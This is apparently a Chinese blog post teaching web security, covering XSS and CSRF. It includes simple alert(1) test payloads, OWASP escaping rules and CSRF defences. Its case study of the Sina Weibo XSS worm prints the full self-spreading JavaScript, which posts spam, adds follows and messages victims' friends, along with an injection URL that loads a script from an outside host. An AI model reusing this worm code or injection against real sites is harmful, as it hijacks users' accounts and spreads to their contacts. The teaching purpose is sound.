美文网首页
WEB安全-XSS和CSRF漏洞

WEB安全-XSS和CSRF漏洞

作者: 小胖子嘿嘿嘿 | 来源:发表于2020-05-12 10:46 被阅读0次

    名词和概念

    XSS -- Cross SiteScripting, 跨站脚本攻击,利用网页漏洞,注入恶意指令代码到网页,使用户加载并执行植入的脚本

    Payload -- 攻击代码

    CSRF -- Cross—Site Request Forgery,跨站请求伪造,盗用用户身份,发送恶意请求。

    XSS原理和分类

    反射型XSS

    攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。

    存储型XSS

    代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

    举例

    Payload举例

    <pre><script>alert(1)</script>
    '"><script>alert(1)</script>
    <img/src=@ onerror=alert(1) />
    '"<img/src=@ onerror=alert(1) />
    alert(1)
    ' onmouseover=alert(1) x='
    " onmouseover=alert(1) x="
    </script><script>alert(1)</pre>

    不难看出,这些payload都是通过构造字符串来中断当前的dom结构,来创造js的执行环境并达到注入恶意js的目的。

    攻击事件

    MySpace,百度空间,人人网,搜狐博客,新浪微博都曾遭遇XSS蠕虫攻击并造成实质性危害,一般是社交类应用中,XSS攻击比较常见。事实上只要有用户输入和自定义的地方,只要不加防范,都有可能存在XSS漏洞。乌云某马甲心伤的瘦子曾经制作了一个xss攻击的经典教程,里面用到的所有案例都是腾讯各业务部门的真实漏洞。虽然乌云网目前已被和谐,不过通过百度仍然可以找到一些镜像,来作学习之用。

    新浪微博XSS蠕虫

    新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。事件的经过如下:

    • 20:14,开始有大量带V的认证用户中招转发蠕虫
    • 20:30,2kt.cn中的病毒页面无法访问
    • 20:32,新浪微博中hellosamy用户无法访问
    • 21:02,新浪漏洞修补完毕
    image image

    影响:32961(这位hellosamy在帐号被封前的好友数量)。

    sammy是第一个xss蠕虫的制作者,利用myspace的漏洞来实现控制其他账号发帖和关注自己的id。这个应该是为了向sammy致敬。

    步骤

    1、利用了新浪微博广场页存在的XSS漏洞,先使自己的微博“中毒”,在浏览器中加载如下地址即可:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

    2、使用有道提供的短域名服务(这些网址目前已经“无害”);

    例如,通过 http://163.fm/PxZHoxn ,将链接指向:

    http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

    3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:

    1. 发微博(让更多的人看到这些消息,自然也就有更多人受害);
    2. 加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
    3. 发私信,给好友发私信传播这些链接

    形成

    未对用户名做转义处理!!

    Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'
    那么当把用户名字设置为xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的时候,得到了以下代码:

    <a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>

    Payload

    function createXHR(){
        return window.XMLHttpRequest?
        new XMLHttpRequest():
        new ActiveXObject("Microsoft.XMLHTTP");
    }
    function getappkey(url){
        xmlHttp = createXHR();
        xmlHttp.open("GET",url,false);
        xmlHttp.send();
        result = xmlHttp.responseText;
        id_arr = '';
        id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
        for(i=0;i<id.length;i++){
            sum = id[i].toString().split('"')[3];
            id_arr += sum + '||';
        }
        return id_arr;
    }
    function random_msg(){
        link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
        var msgs = [
            '郭美美事件的一些未注意到的细节:',
            '建党大业中穿帮的地方:',
            '让女人心动的100句诗歌:',
            '3D肉团团高清普通话版种子:',
            '这是传说中的神仙眷侣啊:',
            '惊爆!范冰冰艳照真流出了:',
            '杨幂被爆多次被潜规则:',
            '傻仔拿锤子去抢银行:',
            '可以监听别人手机的软件:',
            '个税起征点有望提到4000:'];
        var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
        msg = encodeURIComponent(msg);
        return msg;
    }
    function post(url,data,sync){
        xmlHttp = createXHR();
        xmlHttp.open("POST",url,sync);
        xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
        xmlHttp.send(data);
    }
    function publish(){
        url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
        data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
        post(url,data,true);
    }
    function follow(){
        url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
        data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
        post(url,data,true);
    }
    function message(){
        url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
        ids = getappkey(url);
        id = ids.split('||');
        for(i=0;i<id.length - 1 & i<5;i++){
            msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
            msg = random_msg();
            msg = encodeURIComponent(msg);
            user = encodeURIComponent(encodeURIComponent(id[i]));
            data = 'content=' + msg + '&name=' + user + '&retcode=';
            post(msgurl,data,false);
        }
    }
    function main(){
        try{
            publish();
        }
        catch(e){}
        try{
            follow();
        }
        catch(e){}
        try{
            message();
        }
        catch(e){}
    }
    try{
       x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
    }
    catch(e){}
    main();
    var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
    

    防御XSS

    • httponly -- 禁止js访问cookie

    • Content Security Policy -- 禁止外部js(可屏蔽运营商广告)

    • 使用自动转义的模版

    • 启用X-XSS-Protection头部

    • 使用现代框架时避免危险的属性:

      <colgroup><col><col></colgroup>

      框架名 危险方法/属性
      Angular (2+) bypassSecurityTrust
      React dangerouslySetInnerHTML
      Svelte {@html ...}
      Vue (2+) v-html

    OWASP的建议

    规则0 - 只允许在规则1-规则5的指定位置插入不可信内容

    <script>...NEVER PUT UNTRUSTED DATA HERE...</script>
    <!--...NEVER PUT UNTRUSTED DATA HERE...-->
    <div ...NEVER PUT UNTRUSTED DATA HERE...=test />
    <NEVER PUT UNTRUSTED DATA HERE... href="/test" />
    <style>
    ...NEVER PUT UNTRUSTED DATA HERE...
    </style>
    
    

    规则1 - 插入内容到HTML结构中的时候需要先转义

    <body>
    ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
    </body>
    
    <div>
    ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
    </div>
    
    & --> &amp;
    < --> &lt;
    > --> &gt;
    " --> &quot;
    ' --> &#x27;     
    / --> &#x2F;
    

    规则2 - 插入不可信内容到HTML的通用属性时,需要做属性值转义

    对于通用属性wide, name, value等做属性转义,相对复杂的比如href, src, style不适用该规则。另外对于onmouseover这种,应当遵从规则3针对js值的定义。

    具体规则:

    1. 除字母,数字,字符以外,对ASCII值小于256的所有字符使用js编码,即&#xHH进行转义,防止属性值被关闭。不能直接用\转义完事,因为可能会连续执行多个\使得\失效。
    2. 使用属性值的时候最好加上引号,加了引号以后,值的解释只会被同类引号中断,如果没有加引号的话,中断字符包括:空格 % * + , - / ; < = > ^ 和 |.

    规则3 - 插入不可信的值到javascript环境下时,只能作为数据值输入并进行js转义。

    以下环境需要进行js转义:

    <script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
    
    <script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
    
    <div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
    
    

    而对于以下的环境,即便经过了转义也是危险的,因为很容易被分号,等号,空格,加号等符号中断。

    <script>
    window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
    </script>
    
    
    规则3.1 - HTML环境下,对json数据进行html转义,读取数据时使用JSON.parse.

    比如,当我们使用以下的代码时:

    <script>
    // Do NOT do this without encoding the data with one of the techniques listed below.
    var initData = <%= data.to_json %>; 
    </script>
    
    

    最好经过json序列化和html实体编码,因为构造的数据再这个时候一般会出错。

    <div id="init_data" style="display: none">
    <%= html_escape(data.to_json) %>
    </div>
    
    // external js file
    var dataElement = document.getElementById('init_data');
    // decode and parse the content of the div
    var initData = JSON.parse(dataElement.textContent);
    
    

    规则4 - 数据写入css的style属性的时候,需要做css转义和严格的验证

    对于需要使用不可信数据作为css时,最好只用来作为属性的值,并且复杂的属性,比如url,behavior或者定制属性如-moz-binding等的时候,最好不要使用不安全的数据。

    需要转义的情形包括:

    <style>
    selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
    </style>
    
    <style>
    selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
    </style>
    
    <span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
    
    

    否则,可能导致如下的攻击:

    { background-url : "javascript:alert(1)"; }  // and all other URLs
    { text-size: "expression(alert('XSS'))"; }   // only in IE
    
    

    对于属性值的转义,主要是把ASCII值小于256的非数字,字母的字符用\HH表示。另外如果属性值没有使用引号的话,则可能被空格 % * + , - / ; < = > ^ 和 |等符号中断。

    </style>标签也可能被提前关闭,即使是被引号包裹,因为html在js之前解析。

    规则5 - 对URL数值做URL编码

    除了字母和数字以外,其他字符都用%HH进行编码;禁用data:协议,因为没有好的方式去阻止属性可能被中断。

    举例:

    String userURL = request.getParameter( "userURL" )
    boolean isValidURL = Validator.IsValidURL(userURL, 255); 
    if (isValidURL) {  
        <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
    }
    
    

    规则6 -- Sanitize HTML Markup with a Library Designed for the Job

    规则7 -- 避免使用javascript协议的url

    CSRF

    跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。

    image
    1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
    2. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
    3. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
    4. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

    CSRF常用防御方案

    1. 同源检测,如验证referer
      • http请求可能不携带referer,使用https
      • 隐私模式下不携带referer
    2. csrftoken

    FAQ

    • 有没有彻底防御xss/csrf的方法?
    • 使用了Reactjs是否仍然需要防御XSS?
    • 使用实体编码为什么不能解决问题?
    • 为什么是开发者而不是浏览器来处理安全问题?

    附录

    XSS防御规则

    <colgroup><col><col><col><col></colgroup>

    数据类型 环境 代码示例 防御方式
    String Html Body <span>UNTRUSTED DATA </span> HTML实体编码
    String Safe HTML Attributes <input type="text" name="fname" value="UNTRUSTED DATA "> 适用规则2,属性白名单的使用HTML实体编码,对background, id, name等进行严格验证
    String src或者href属性 clickme <iframe src="UNTRUSTED URL " /> 限制协议为http,https,进行URL编码
    String Css Value html
    Selection 结构验证,16进制编码
    String Javascript Variable <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> 加引号,16进制编码
    HTML HTML Body

    UNTRUSTED HTML

    | 序列化/反序列化 |
    | String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一个话题 |

    编码规则

    <colgroup><col><col></colgroup>

    编码类型 编码机制
    HTML Entity Encoding Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to /
    HTML Attribute Encoding Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value)
    URL Encoding Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.
    JavaScript Encoding Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer).
    CSS Hex Encoding CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

    延伸阅读

    http://prompt.ml/0

    Content-Security-Policy

    OWASP关于XSS的防御建议

    CSRF案例

    CSRF漏洞原理和利用方法

    美团CSRF

    CSRF基本原理

    相关文章

      网友评论

          本文标题:WEB安全-XSS和CSRF漏洞

          本文链接:https://www.haomeiwen.com/subject/feovnhtx.html